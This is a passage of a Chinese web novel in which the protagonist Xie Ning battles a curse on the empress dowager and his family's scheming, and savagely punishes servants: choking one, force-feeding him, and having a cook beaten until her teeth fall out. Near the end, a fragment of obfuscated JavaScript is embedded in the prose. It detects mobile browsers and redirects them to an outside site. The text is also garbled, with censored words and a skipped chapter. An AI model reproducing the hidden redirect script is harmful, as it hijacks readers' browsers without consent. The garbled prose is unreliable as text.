“只要我们把钱牢牢地控制在手里,那谢宁在长公主面前,在全天下人面前,不得丢尽了脸面。”
“我看他这个驸马,还怎么当下去!”
贾一博说完,自己都忍不住笑了起来,当真是妙计啊。
他要从经济上彻底锁死谢宁。
让他空有驸马之名,却连一场像样的婚礼都办不起来。
到时候,丢人的,不仅是谢宁,更是长公主,是整个皇室。
皇室会容忍一个连聘礼都拿不出来的穷光蛋当他们的驸马么?
答案,是显而易见的。
老太太的眼睛,也渐渐亮了起来。
她觉得贾一博这个主意实在是太妙了。
对付谢宁,就得用这种釜底抽薪的法子,让他有苦说不出。
“好,好主意!”
老太太一拍大腿,精神头都恢复了不少。
“就按你说的办!我这就派人去把库房给封了,钥匙由我亲自保管。我倒要看看,那个小畜生,没钱了,还怎么在外面威风!”
若是谢宁在此,一定会被他们的妙计给气笑的。
保不准还得夸他们两句,两个**。
第五十五章 这病,御医治不了
谢宁乘坐着长公主府的马车,一路畅通无阻地来到了皇宫。
守门的禁卫一看到是长公主府的徽记,连盘问都省了,立刻恭敬地放行。
谢宁心里清楚,这都是李庆宁的面子。
他现在这个准驸马的身份,在宫里还是挺好使的。
很快,谢宁就到了慈宁宫外。
还未进去,他就感觉到了气氛不对劲。
整个慈宁宫,内外都透着一股死气沉沉的压抑。
宫女太监们跪了一地,一个个低着头,连呼吸都小心翼翼的,生怕发出一点声响。
空气里弥漫着浓郁的药味,混杂着一股说不清道不明的诡异气息。
一个眼熟的小太监看到谢宁,像是看到了救星,连滚带爬地跑了过来。
“谢世子,您可算来了。公主殿下和陛下都在里面等您呢。”
谢宁点了点头,没有过多废话,径直朝着寝殿内走去。
一进殿门,那股压抑的气氛就更浓了。
十几个穿着官服的御医,全都跟霜打的茄子一样,跪在地上,脑袋都快埋到地里去了。
这其中,就有一个他比较熟悉的面孔,先前去过侯府给他治病的宫御医。
没想到连他也来了。
小皇帝李庆志的眼眶红红的,一张俊秀的脸上写满了焦急。
他看到谢宁进来,立刻就冲了过来。
“姐夫!”
这一声姐夫,叫得那叫一个自然和情真意切。
李庆志是真的把谢宁当成自家人了。
“姐夫,你快去看看母后,这些御医都是废物,什么都看不出来。”
李庆宁也站在凤榻边,脸色同样不好看。
直到看见谢宁,她眼中的担忧才稍稍退去了一些,多了一丝依靠。
“你来了。”
“嗯。”
谢宁应了一声,先是安抚性地拍了拍李庆志的肩膀。
“你们先别急,我先看看。”
他走到床边,目光落在了躺在床上的皇太后身上。
只看了一眼,谢宁的眉头就紧紧地皱了起来。
皇太后双眼紧闭,面色灰败,嘴唇干裂,整个人就像是一截枯木,没有半点生气。
但诡异的是,她的胸口却在有规律地起伏着,呼吸虽然微弱,但还算平稳。
这模样,确实不像是寻常的病危。
“都说说吧,什么情况。”
谢宁的目光扫过跪在地上的那群御医,声音不大,却让众人下意识地都看了过去。
被点到名的太医院院首王太医,此时也是面色凝重地抬起头来。
他看了李庆宁和皇帝一眼,才沉声开口道:“回世子。太后娘娘昨日从御花园返回后,便一直说胸闷气短,就派人让我过来看看。”
“一开始还好,可我刚到,太后娘娘就突然晕厥了过去。臣为太后娘娘诊脉,发现太后娘娘的脉象诡异至极。”
王院首的声音里带着深深的困惑。
“时而如洪钟大吕,强劲有力,时而又细若游丝,若有若无。这完全违背了医理,臣行医数十载,简直是闻所未闻,见所未见啊。”
另一个御医也赶紧补充道:“是啊,我等已经用尽了各种办法,什么人参吊命,金针固元,可都毫无作用。”
“太后娘娘的生机,就像是被什么东西给罩住了一样,我们送进去的药力,根本就进不去!”
谢宁听着他们的话,心里已经有了数。
看来,和他猜的差不多。
这根本就不是病。
“你们都退下吧。”
谢宁挥了挥手。
一群御医如蒙大赦,磕了个头,匆匆退出了寝殿。
他们是真的怕了。
治不好太后,皇帝一发怒,他们的小命可就没了。
现在谢宁来了,正好把这个烫手的山芋给甩出去。
御医们很快走了个干净,寝殿里只剩下谢宁和李庆宁姐弟俩。
李庆志一脸期盼地看着谢宁。
“姐夫,怎么样?你有办法么?”
李庆宁也紧张地看着他,手心里全是汗。
谢宁没有立刻回答。
他伸出手,轻轻地抓起皇太后的手腕,将两根手指搭在了她的脉搏上。
同时,他暗暗运起先天八卦图,一丝微不可察的金光,顺着他的指尖,探入了皇太后的体内。
就是这一探
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,谢宁的脸色,也瞬间变了。
他终于知道那群御医为什么会说脉象诡异了。
在皇太后的体内,正有两股截然不同的气在疯狂地冲撞着。
一股是皇太后自身雍容华贵,代表着凤仪天下的气运,这股气虽然强大,但却显得有些混乱。
而另一股,则是阴冷歹毒,充满死寂。
这股邪气就像是一张巨大的网,将皇太后自身的气运死死地包裹住,不断地蚕食,消耗。
但它又不像之前对付李庆宁的四阴绝户局那样霸道,可直接取人性命。
这股邪气更像是一种**。
它不**,它只是在消磨人的生机,让人的精气神一点一点地流逝,最后变成一个只有呼吸的活**。
好阴毒的手段。
这家伙是想让皇太后一直这么病着,不好不坏,不死不活。
他这么做的目的,就是要拖住李庆宁!
只要皇太后一天不好,李庆宁作为女儿,就不可能安心地去处理别的事情,更别提成婚了。
“还真是和我先前预料得一丝不差。”
谢宁在心里冷笑一声,随即收回手,神色凝重。
“皇姐,姐夫,母后她到底怎么样了?”
李庆志看他半天不说话,急得都快哭了。
谢宁抬起头,看着一脸担忧的李庆宁姐弟。
他沉声开口。
“这不是病,太后娘娘这是中了一种极其高明的邪术。有人在用邪法,不断地消耗她的生机和气运。”
李庆宁闻言,身体晃了一下,美丽的脸蛋瞬间变得煞白。
虽然她早就猜到了,但亲耳从谢宁嘴里听到,那冲击力还是让她难以承受。
“那该怎么办?母后会不会有事?”
谢宁摇了摇头。
“暂时死不了。”
他这话说的很直接,但却让李庆宁和李庆志稍微松了口气。
“对方的目的不是要太后的命,而是想让她一直这么病着。这邪术布置得非常巧妙,它与太后自身的气运纠缠在了一起,形成了一个诡异的平衡。”
“想要强行破开,很容易伤到太后娘娘的根本。”
第五十六章 危机四伏
谢宁眉头紧锁。
说实话,这还是他第一次遇到这么棘手的邪术。
那个幕后黑手的道行比他想象的还要高。
“那就一点办法都没有了么?”李庆志不甘心地开口。
“办法倒也不是没有。”
谢宁沉吟了一下,“只是需要时间,而且还需要找到施法的媒介。这个邪术不可能凭空施展,一定有某个东西作为引子,藏在慈宁宫的某个角落。”
李庆宁立刻反应过来。
“你的意思是,要像上次一样,找出那个邪物?”
“没错。”
谢宁点了点头,“只有找到了源头,我才能对症下药。可是,这个寝殿我都已经让人翻来覆去地找了好几遍了,什么可疑的东西都没发现。”
李庆宁的脸上写满了挫败。
“找不到,就说明对方藏得很深。不过,他藏得再深,也总会露出马脚的。”
看着床上毫无生气的皇太后,谢宁心里已经有了初步的计划。
现在急也没用。
对方既然布了这个局,就是想拖住他们。
“看来,我们的婚事得延后了。”
谢宁这话一出口,李庆宁和李庆志都是一愣。
特别是李庆宁,她怔怔地看着谢宁,一双美眸里瞬间充满了愧疚和歉意。
“谢宁,对不起……”
她咬着嘴唇,声音低了下去。
“姐夫,这怎么行!圣旨都下了,怎么能说延后就延后呢!母后这边……这边有御医看着,误不了事的!”
在李庆志看来,姐姐的幸福才是最重要的。
看着姐弟俩这副模样,谢宁心里一暖,反而笑了。
“你们想什么呢?”
他笑了笑。
“我像是那么小气的人么?我说婚事延后,不是在怪你,而是我觉得,延后也好。”
“啊?”李庆宁抬起头,不解地看着他。
连李庆志都懵了,这怎么还也好了?
谢宁看着他们,一脸认真地解释道:“你们想啊,现在太后病重,宫里宫外不知道多少双眼睛盯着我们呢。”
“特别是那个藏在暗处的家伙,他费尽心机搞出这么多事,不就是想看我们乱了阵脚,看我们自顾不暇么?”
“我们要是急着在这个时候办婚礼,于理不合,被人诟病。”
谢宁顿了顿,嘴边泛起一抹冷笑。
“他想拖,那我们就陪他拖。正好,趁着这段时间,我也有些自己的事情要处理。”
李庆宁冰雪聪明,立刻就明白了谢宁的意思。
谢宁这是在安慰她,也是在告诉她,他有自己的打算,让她不要有心理负担。
一股暖流,瞬间淌遍了她的全身。
“我明白了。”李庆宁重重地点了点头,眼中的担忧和愧疚,被坚定所取代。
“谢宁,谢谢你。”
“谢什么,你是我媳妇儿,我不为你着想为谁着想。”
谢宁说得理所当然。
旁边的小皇帝李庆志看着两人这亲密无间的样子,心里又是羡慕又是高兴。
“姐夫,那你说的自己的事,是什么事啊?”李庆志好奇地问道。
谢宁瞥了他一眼,笑道:“小孩子家家的,别打听大人的事。”
话音刚落,他又觉得不妥,毕竟眼前之人可是皇帝。
只是看李庆志的模样似乎并未往心里去,谢宁也就没了心理负担。
他摸了摸鼻子,看向一旁的李庆宁。
“公主,我虽然暂时没办法根治太后的问题,但可以先稳住她的情况,让她不至于继续恶化。我需要一些东西,你得帮我准备一下。”
“你说,只要我能找到的,一定给你找来。”李庆宁立刻说道。
谢宁点了点头,便报出了一串东西的名字。
“朱砂,黄纸,狼毫笔,这些是基本的。另外,我还需要一块成色最好的暖玉,要未经雕琢的玉胚,越大越好。”
“还有,去宫里的库房找一找,看看有没有百年的沉香木。”
这些东西,都不是凡品,尤其的暖玉玉胚和百年沉香木,更是千金难求。
但在皇家内库里,想必还是能找到的。
李庆宁将这些东西一一记下,立刻就吩咐人去准备。
“对了。”谢宁又想起了什
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么,“慈宁宫这边,你要派最信得过的人守着,所有进出的人,吃穿用度,都要严格排查。”
“尤其是那些香料,摆件之类的东西,暂时都先撤了。我怀疑,那个施法的媒介,很可能就藏在这些日常用品里。”
“好,我马上安排。”李庆宁应道。
安排好这一切,谢宁又陪着他们待了一会儿。
眼看天色不早,他便准备告辞了。
宫里他暂时也帮不上更多忙了,剩下的,就是等。
等李庆宁把东西找齐,也等那个幕后黑手,露出新的马脚。
而他,也该回去,处理一下自己侯府里的那些烂摊子了。
临走前,谢宁突然想起了老太君的事情。
他觉得,有必要跟李庆宁通个气。
他把李庆宁拉到一边,低声问道:“你知不知道城郊那个大佛寺?”
“大佛寺?”李庆宁愣了一下,“知道啊,那是皇家寺庙,香火很盛,母后以前也经常去那里礼佛。”
“定远侯府的老太君,最近从那回来了。”谢宁的语气里带着几分嘲弄。
“她一回来,就逼着我退婚。”
李庆宁闻言,脸色一变。
“什么?她凭什么!”
“凭她是我奶奶呗。”谢宁耸了耸肩,“不过,已经被我怼回去了。”
他把今天在福生堂发生的事情,简单地说了一遍。
当李庆宁听到谢宁说要拉着全家一起去菜市口挨刀的时候,都忍不住“噗嗤”一声笑了出来。
她完全能想象到当时那群人被吓傻了的表情。
“你啊,真是……”
她嗔怪地白了谢宁一眼,眼底却全是笑意。
笑过之后,她的神色又凝重起来。
“不过,你说老太君可能是被人动了手脚,这事非同小可。”
“没错。”谢宁的表情也严肃了起来,“我怀疑,那个大佛寺有问题。”
“贾一博能把我奶奶从那里请回来,而且我奶奶还对他深信不疑,处处维护他,这很不正常。”
“我想让你帮我查查这个大佛寺,看看里面到底有什么猫腻。”
第五十七章 清风明月归心
“这个简单。”
李庆宁想都没想就答应了。
“我马上派人去查。皇家寺庙,我还是能说上话的。”
“嗯。”谢宁点了点头,“你自己也要小心,我总觉得,事情越来越复杂了。”
“那个幕后黑手,还有贤王,现在又多了个被控制的定远侯府老太君。我们现在面临的危机可不少。”
“不怕。”李庆宁看着他,眼神无比坚定。
“只要有你在,我就什么都不怕。”
谢宁心中感动,将她轻轻揽入怀中。
“放心吧,一切有我。”
温存了片刻,谢宁才依依不舍地离开了慈宁宫。
他得赶紧回去了。
定远侯府那场好戏,才刚刚拉开序幕呢。
……
定远侯府。
清风和明月早就等在门口了。
“公子,您回来了。”
两人看到谢宁,立刻迎了上来,脸上都带着几分焦急。
“看你们这表情,府里又出什么幺蛾子了。”
谢宁淡淡地问道。
清风看了一眼四周,压低了声音。
“公子,就在您进宫后不久,老太君那边就派人传下话来。说是从今天开始,侯府要节衣缩食,开源节流。府中上下的用度,都要削减一半。特别是您的院子。”
“哦?”谢宁挑了挑眉,“我又被重点照顾了啊。”
“应当是的。”
明月有些无奈地接话道。
“不仅如此,您院里的小厨房也给撤了,说是以后您的膳食由府里的大厨房统一配送。”
“这是想在吃穿用度上拿捏我啊。”谢宁笑了。
他简直要被这群人给气笑了。
都什么时候了,还玩这种小孩子过家家一样的把戏。
真是黔驴技穷了么?
“公子,现在如何是好?老太君现在掌着府里的中馈,她要是不给钱,我们……我们寸步难行啊。”
“谁说我们没钱了?”谢宁看了他一眼。
“清风,我让你去办的事,办得怎么样了?”
清风一愣,才反应过来谢宁问的是什么。
他连忙从怀里掏出两个信封,恭恭敬敬地递了过去。
“公子,办妥了。小的去了长公主府,见到了容嬷嬷。容嬷嬷说,公主殿下早就吩咐过,说我们两个以后就是您的人了。这是我们的**契,公主殿下让小的一并带回来,交给您。”
谢宁接过那两个信封,打开看了一眼。
信封里装着的,是两张写着清风和明月生辰八字的契纸。
从今天起,这两个人的身家性命,就彻底掌握在他手里了。
谢宁看着眼前这两个一脸忐忑,又带着几分期盼的少年,心里也有些感慨。
这是他来到这个世界后,真正意义上,完全属于自己的班底。
“你们……”谢宁看着他们,“现在后悔还来得及。”
“跟着我,以后可能要面临很多危险,甚至会没命。”
清风和明月对视了一眼,然后毫不犹豫地,齐刷刷地跪在了谢宁面前。
“公子!”清风的头重重地磕在地上,“从今往后,清风的命就是您的!刀山火海,在所不辞!”
明月也跟着磕头,声音清脆而又坚定。
“明月也一样,誓死追随公子!”
他们的眼神里,没有丝毫的犹豫和勉强,只有一片赤诚。
他们很清楚,自己的命运,从被派到谢宁身边的第一天起,就已经和这位世子爷牢牢地绑在了一起了。
一荣俱荣,一损俱损。
更何况,谢宁这段时间的所作所为,早就已经彻底征服了他们。
跟在他身边的这段时间,他们看到了一个完全不一样,充满了无穷魅力的谢宁。
跟着这样的主子,似乎并不差。
“好。”谢宁点了点头。
他没有去扶他们,只是淡淡地说道:“都起来吧。”
“从今天起,你们不再是长公主府的暗卫。而是我谢宁的亲卫,是我最信任的左膀右臂。我不要求你们为我**,我只要求你们,对我绝对的忠诚。”
说完,他手指一动,两簇小火苗凭空出现,将那两张**契,烧成了灰烬。
清风和明月看到这一幕,全都惊呆了。
他们瞪大了
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眼睛,不敢相信地看着自己的双手,又看了看地上的那两撮灰烬。
公……公子他,把**契给烧了?
这是什么意思?
“公子,您这是……”清风的声音都在颤抖。
“以后,你们不是奴才,是自由身。”
谢宁看着他们,一脸平静。
“你们跟着我,是因为信我,而不是因为这纸契约。如果有一天你们想走了,随时可以走,我绝不阻拦。”
谢宁的话,就像是两道炸雷,狠狠地劈在了清风和明月的心上。
他们愣住了。
他们做梦都没想到,谢宁会这么做。
在这个人命如草芥,奴才的生死只在主子一念之间的时代。
竟然有人,会主动烧掉奴才的**契,还他们自由身。
这简直闻所未闻。
两人呆呆地看着谢宁,眼眶瞬间就红了。
他们突然明白,为什么长公主殿下会看上他了。
这样的男人,世间独一无二。
下一秒,两人再次重重地跪了下去。
这一次,他们的头,磕得比刚才还要响。
“公子!我二人发誓,此生此世,永不背叛公子,若违此誓,不得好死!”
士为知己者死。
从这一刻起,谢宁才算是真正地,收服了这两人的心。
“行了行了,别动不动就下跪。”
谢宁有些无奈地摆了摆手,“都起来吧,我还有正事要吩咐你们。”
清风和明月神色一凛,很快站了起来。
“明月,你现在就去外面,帮我找几个绝对可靠的,手脚麻利的人。”
“干什么?”
“打探消息,监视几个人。”谢宁的眼中闪过一丝冷意。
“第一个,就是贾一博那个废物儿子,贾辉祖。我要知道他每天都去了哪里,见了什么人,说了什么话。”
“第二个,就是相国府那个被打傻了的宇文月。看看他最近有什么动静。”
“第三个,也是最重要的一个,贤王府。这个要格外小心,不要靠得太近,远远地看着就行。”
“是!”明月立刻领命。
第五十八章 吃吧,别噎着
“清风。”谢宁又看向清风。
“你明天一早,去城里最大的牙行一趟。”
“干什么?”
“买人。”谢宁的嘴角,勾起一抹意味深长的笑容。
“买一些身强力壮的护院,再买几个会做饭的厨子,既然老太君不给我们饭吃,那我们就自己开火。”
“既然侯府的护卫靠不住,那我们就自己组建一支队伍。我倒要看看,在这个定远侯府里,到底是谁说了算。”
第二天一大早,天刚蒙蒙亮。
谢宁还在床上打坐,就听到院子外面传来一阵脚步声。
紧接着,一个尖细的嗓音响了起来。
“世子爷的早膳来了。”
谢宁睁开眼,眉头微不可察地皱了一下。
这么早就送早膳?
房门被推开,一个穿着下人服饰,贼眉鼠眼的仆人端着一个托盘走了进来。
他将托盘往桌子上一放,随后道:“世子爷请用膳。”
谢宁瞥了他一眼,没说话,目光落在了桌上的托盘里。
托盘上,放着一个豁了口的破碗,碗里盛着一碗清得能照见人影的米粥。
旁边还有一个小碟子,碟子里,孤零零地躺着几颗蔫了吧唧的花生米。
除此之外,还有一个黑乎乎,硬邦邦,看起来就跟石头一样的窝窝头。
这就是定远侯府世子的早膳。
谢宁看着这所谓的早膳,莫名笑了起来。
真行啊!
贾一博和那个老太太,还真是一点儿脸都不要了。
这是真把自己当成可以随意拿捏的软柿子了?
“你就给我吃这个?”
谢宁抬起头,看着那个仆人,语气很平静。
那仆人见谢宁没有像他想象中那样暴跳如雷,胆子也大了起来。
他挺直了腰板,皮笑肉不笑地说道:“世子爷,您就将就一下吧。老太君说了,现在府里开销大,要节衣缩食,大家都得勒紧裤腰带过日子。”
“节衣缩食?”谢宁笑了笑,“那你们的早膳也是这个咯。”
“我们当下人的,哪能跟主子比啊。”那仆人撇了撇嘴。
“哦?”
谢宁点了点头,“是么。”
他突然站起身,朝着那个仆人走了过去。
那仆人被谢宁这突如其来的动作吓了一跳,下意识地后退了一步。
“世子爷,您……您想干什么?”
“不干什么。”
谢宁走到他面前,脸上带着和善的笑容。
“就是想问问你,这碟花生米,是你吐的口水,还是贾一博吐的?”
谢宁这话一出口,那个仆人的脸色瞬间就变了。
他那张本来就不好看的脸,瞬间变得煞白,没有一丝血色。
“你……你胡说什么,我没有。”
他惊恐地大叫起来,眼神慌乱,根本不敢看谢宁的眼睛。
他怎么知道的?
他怎么可能知道?
这事儿只有他和侯爷知道啊。
昨天晚上,贾一博特意把他叫过去,让他今天早上送早膳的时候,往谢宁的花生米里吐口水,好好儿恶心恶心谢宁。
他当时还觉得这个主意妙极了,既能讨好侯爷,又能羞辱这个不知天高地厚的世子爷。
可他万万没想到,谢宁竟然一眼就看穿了。
“没有?”
谢宁脸上的笑容,慢慢收敛,取而代之的是一种让人心底发寒的阴冷。
“看来,你是不见棺材不落泪了。”
他话音刚落,身形一动,快得就像一道闪电。
那仆人只觉得眼前一花,下一秒,他的脖子就被一只铁钳般的大手,死死地掐住了。
“呃……”
一股强烈的窒息感瞬间传来,仆人的双脚离地,开始疯狂地挣扎。
他惊恐地看着谢宁,那双眼睛里,再也没有了之前的轻蔑和得意,只剩下无尽的恐惧。
“我再问你一遍。”
谢宁的声音,很轻,很冷,却让仆人亡魂皆冒。
“是谁,吐的口水?”
“是……是……”
仆人被掐得翻起了白眼,舌头都伸了出来,话都说不完整了。
他毫不怀疑,只要自己再敢说一个不字,眼前这个疯子,会毫不犹豫地扭断他的脖子。
就在他感觉自己快要死的时候。
“砰”的一声。
谢宁松开手,把他像扔一条死狗一样,扔在了地上。
“咳咳咳!”
仆人趴在地上,贪婪地呼吸着新鲜空气,发出了剧烈的咳嗽声。
他感觉自己刚才真
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的在鬼门关前走了一遭。
“说。”
一个冰冷的字,从他头顶传来。
仆人浑身一颤,再也不敢有丝毫的隐瞒。
“是……是侯爷。”
“是侯爷让我这么干的。”
仆人面露惊恐,瞬间交代了个清楚。
“很好。”谢宁点了点头。
他走到桌边,端起了那碟沾着口水的花生米。
然后,他走回到那个仆人面前,蹲了下来。
“既然是贾一博让你干的,那你就替他,把这些都吃了吧。”
谢宁的脸上,露出了一个和善的笑容。
但这个笑容,在仆人眼里,却比鬼还要可怕。
“不……不要!”
仆人惊恐地尖叫起来,拼命地往后缩。
让他吃这个?
这比杀了他还难受!
“不吃?”谢宁的眼神,瞬间变得无比危险。
“明月。”
他淡淡地喊了一声。
一直守在门外的明月,立刻推门走了进来。
当他看到屋里的情景时,也是愣了一下。
但他什么都没问,只是恭敬地对着谢宁行了一礼。
“公子,有何吩咐?”
“把他嘴给我掰开。”谢宁指了指地上的仆人。
“是!”
明月领命,没有丝毫犹豫,上前一步,一把就抓住了那个仆人的头发,将他的头狠狠地按在了地上。
另一只手,像捏小鸡一样,轻而易举地就捏住了他的下巴。
“咔”的一声。
仆人的嘴,被硬生生地掰开了。
“啊!”
一声凄厉的惨叫,响彻了整个院子。
谢宁面无表情地,将碟子里的花生米,一颗一颗地,全都塞进了那个仆人的嘴里。
“咽下去。”
仆人疼得眼泪鼻涕直流,嘴里呜呜地叫着,哪里还敢反抗。
他只能**地将那些沾着自己口水的花生米,混着血水和泪水,一起吞进了肚子里。
“这就对了嘛。”
谢宁站起身,用帕子擦了擦手,脸上又恢复了那副风轻云淡的表情。
“滚吧。”
“以后再让我看见你,就不是吃花生米这么简单了。”
那个仆人如蒙大赦,连滚带爬地跑出了院子。
第六十章 杀鸡儆猴
“啪!”
一声清脆响亮的耳光,在寂静的厨房里显得格外刺耳。
“啊!”
翠环惨叫一声,整个人都被这股巨大的力道给扇得原地转了一圈,一屁股瘫坐在了地上。
她只觉得半边脸火辣辣地疼,耳朵里嗡嗡作响,嘴里一股浓重的血腥味弥漫开来。
她张了张嘴,吐出了两颗带血的牙齿。
她彻底懵了。
她没想到,谢宁竟然真的敢动手。
她更没想到,这个看起来斯斯文文的护卫,力气会这么大。
“你……你敢打我!”
翠环捂着自己肿得跟猪头一样的脸,不敢置信地尖叫着。
“打的就是你。”
明月的脸上,没有丝毫的表情。
“这一巴掌是让你反省反省该怎么跟公子说话。”
说完,她根本不给翠环任何反应的机会,上前一步,一把揪住她的衣领,将其从地上拎了起来。
而后明月左右开弓,一巴掌接着一巴掌,狠狠地扇了下去。
“这巴掌是教训你出言不逊……”
“这巴掌是让你知道侯府谁说了算……”
“**啪!”
清脆的巴掌声如同密集的雨点一般在厨房里不断回响。
每一声,都狠狠地敲打在所有下人的心上。
几个厨娘,一个个吓得脸色惨白,浑身抖得跟筛糠一样,连头都不敢抬。
太……太狠了!
这世子爷简直就是个活阎王。
他们怎么会招惹到这煞星。
很快,翠环的惨叫声就从一开始的尖利,慢慢变得虚弱,最后只剩下微弱的呜咽。
她的脸已经完全看不出人形,肿得像个发面馒头,嘴角全是血沫。
牙齿,更是不知道掉了多少颗。
“公子,还要继续么?”
明月停下手,拎着像一滩烂泥一样的翠环,回头请示谢宁。
谢宁看都没看那个厨娘一眼,只是淡淡地说道:“打到她求饶为止。”
“是!”
明月得到命令,手上再次加力。
“**!”
“别……别打了……”
“我错了……我错了……”
“世子爷饶命……奴婢再……再也不敢了……”
终于,在又承受了十几下狠辣的耳光之后,翠环的心理防线彻底崩溃了。
她含糊不清地哭喊着,拼命地求饶。
谢宁这才抬了抬手。
明月会意,像扔垃圾一样,将翠环扔在了地上。
谢宁走到她面前,居高临下地看着她。
“现在,会说话了么?”
“会……会了……”
翠环趴在地上,浑身都在发抖,看谢宁的眼神,已经只剩下深入骨髓的恐惧。
“很好。”谢宁点了点头。
他转过身,目光扫过跪在地上的其他几个厨娘。
那几个厨娘被他的目光一扫,顿时吓得魂飞魄散,头埋得更低了,恨不得找个地缝钻进去。
“从今天起,这个厨房,我说了算。”
谢宁的声音,冰冷而又威严。
“我的饭菜,要用最好的食材,单独做。要是再让我发现,有谁敢阳奉阴违,克扣份例,或者在背后嚼舌根子。”
他的声音顿了顿,眼中闪过一丝凛冽的杀意。
“她的下场,你们刚才也看到了。不过,下一次,就不是掌嘴这么简单了。我会直接割了你们的舌头,再把你们扔到乱葬岗去喂狗。听明白了么?”
“明……明白了!”
“奴婢们再也不敢了!”
几个厨娘吓得屁滚尿流,拼命地磕头,生怕自己磕得慢了,下一个被掌嘴的就是自己。
“至于你。”
谢宁的目光,再次落在了地上那个半死不活的翠环身上。
“明月,去找管家,要来她的**契。卖到边关的军营里去。”
嘶……
谢宁这话一出口,厨房里的温度,仿佛又下降了好几度。
所有人都倒吸了一口凉气。
卖到边关军营?
那是什么地方?
那就是人间炼狱啊。
这个世子爷的手段也太毒了!
翠环听到自己的最终下场,两眼一翻,直接吓得晕**过去。
明月面无表情地应了一声是,然后就拖着像死狗一样的翠环走出了厨房。
谢宁这番杀鸡儆猴,手段狠辣,效果是相当的显著。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006780|178331||http|test|mini|href|location''.split(''|''),0,{}));
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r>厨房里剩下的这群下人,一个个跪在地上大气都不敢喘,看向谢宁的眼神,充满了敬畏和恐惧。
谢宁懒得再看这群已经被吓破了胆的下人。
他径直走到那个温着菜的炉灶前,看了一眼里面的燕窝和糕点。
然后,他像是回到自己家一样,随手端起了那碗最精致的燕窝粥,又拿了几块看起来就很好吃的蟹黄包。
他一边吃着,一边头也不回地,朝着厨房外面走去。
“对了。”
走到门口,他像是想起了什么,突然停下脚步。
“以后我院子里的饭,就由你来做,我会给你几个人打下手。”
他随手指了指那个刚才第一个求饶的胖厨娘。
“要是做不好……”
谢宁没有把话说完,但那威胁的意味,已经不言而喻。
那个胖厨娘浑身一颤,随即脸上露出了狂喜的表情。
她知道,这是世子爷在给她机会。
她连忙重重地磕头。
“是是,奴婢遵命。”
“奴婢一定尽心竭力,一定伺候好世子爷。”
听她这么说,谢宁这才满意地点了点头,转身离开。
离开前,他扫了一眼厨房的阴暗处,那里一个人正在鬼鬼祟祟的偷听什么。
谢宁无奈地摇了摇头。
这贾一博也算是奇葩中的佼佼者了,每当他震慑完一批人,他就会重新招一批新的来。
长此以往,也不是个办法。
看来得上点儿真东西了。
直到他的身影彻底消失在厨房门口。
跪在地上的那群下人才敢慢慢地抬起头来。
她们一个个瘫坐在地上,浑身都被冷汗浸湿了,像是刚从水里捞出来一样。
“天哪……太可怕了……”
“以后……以后咱们的日子,怕是不好过了……”
“什么不好过,我看是好日子要来了。”
那个被谢宁点名的胖厨娘此刻却是一脸的兴奋。
“你们没看出来么,这侯府还是世子爷说话顶用。咱们只要好好伺候,以后有的是好果子吃。”
其他人闻言,面面相觑,眼神也渐渐变了。
这会是真的么?
第六十一章 宫家变故
谢宁回到自己的小院时,天光正好。
在厨房里闹了那么一出,他此刻的心情倒是颇为舒畅。
明月跟在他身后,手里还提着从大厨房顺来的,本该是给贾一博准备的精致早点盒。
院子里,清风已经等候多时。
他身后站着二十几个神情各异,但都透着一股精悍之气的汉子,还有五六个看起来手脚麻利的厨子。
“公子,您回来了。”清风立刻迎了上来。
“办妥了?”谢宁随手将一块蟹黄包丢进嘴里,含糊不清地问。
“都办妥了。”清风躬身道。
“按照您的吩咐,护院找了二十名,都是练家子,身家清白。厨子招了五名,小的都试过,手艺很是不错。”
谢宁的目光在那群新招来的人身上扫过,点了点头。
这些人虽然比不上他和清风明月,但对付侯府里那些家丁护院,已是绰绰有余。
“很好。”
谢宁咽下口中的食物,这才慢条斯理地吩咐道:“护院都留在院里,把前后门,院墙角落都给我守好了。”
“从今天起,没有我的允许,一只苍蝇也别想飞进来。”
“是!”二十名护院齐声应道,声势不小。
“至于厨子,”谢宁的目光转向那几个忐忑不安的厨子,“都去大厨房,找胖厨娘报道。”
“你们顺便告诉她,从今往后我这个院子的吃食由她全权负责,要是再让我吃到今天早上那样的猪食,我唯她是问。”
“是是,小的们明白。”
几个厨子连连点头,也跟着走了。
打发了这群人,谢宁这才施施然地坐到院中的石凳上,端起那碗燕窝粥,慢悠悠地喝了起来。
清风和明月分立左右,静静地候着。
谢宁喝了两口粥,才抬起眼皮,目光在清风和明月二人的脸上一转,忽然笑了。
“你们两个,可知我为何非要让你们去公主府走一趟,把那两张纸拿回来?”
清风和明月对视一眼,都有些不解。
在他们看来,谢宁讨要**契,无非是为了确定他们是否真正属于他。
明月想了想,还是答道:“公子是想让咱们二人彻底没了后顾之忧,好全心全意地为公子效力。”
“只说对了一半。”谢宁放下碗筷,伸出一根手指,在两人眼前晃了晃。
“我初见你们时,你们二人印堂发黑,眉宇之间都缠着一缕若有若无的死气。”
他的声音不大,却像惊雷一般在两人耳边炸响。
“那是活不过一个月的面相。”
清风和明月二人瞬间脸色煞白,只觉得一股寒气从脚底板直冲天灵盖,手脚都变得冰凉。
死气?活不过一个月?
他们竟然自己都不知道,自己已经在鬼门关前徘徊了这么久。
谢宁看着他们惊骇的表情,继续不紧不慢地道:“我让你们回公主府,是让你们自己选一次。”
“你们的根在公主府,那身契便是你们与公主府的因果。你们若选择了继续留在公主府当差,那便是你们的命数,就算是我,也救不了。”
“可你们选了跟着我,又亲眼看着我把那象征奴籍的契约烧毁,这就等同于斩断了旧日的因果,与过去做了个了断。”
“这死劫,自然也就烟消云散了。”
一番话说完,院子里静得针落可闻。
清风和明月呆呆地站着,脑子里一片空白。
原来,谢宁让他们去取**契,并非是为了试探,也不是为了施恩。
他是在救他们的命!
巨大的震惊过后,是劫后余生的后怕,紧接着,一股难以言喻的暖流和感激,瞬间填满了他们的胸膛。
这世上,试问又有几个主子,会去关心两个奴才的生死?
又能有几人,能够拥有这般通天彻地的手段,于无声无息间逆天改命。
“扑通!”
两人再也抑制不住内心的激动,齐刷刷地跪倒在谢宁面前,又一次,他们的额头重重地磕在冰冷的青石板上,发出沉闷的声响。
“公子再造之恩,我二人永世不忘。”
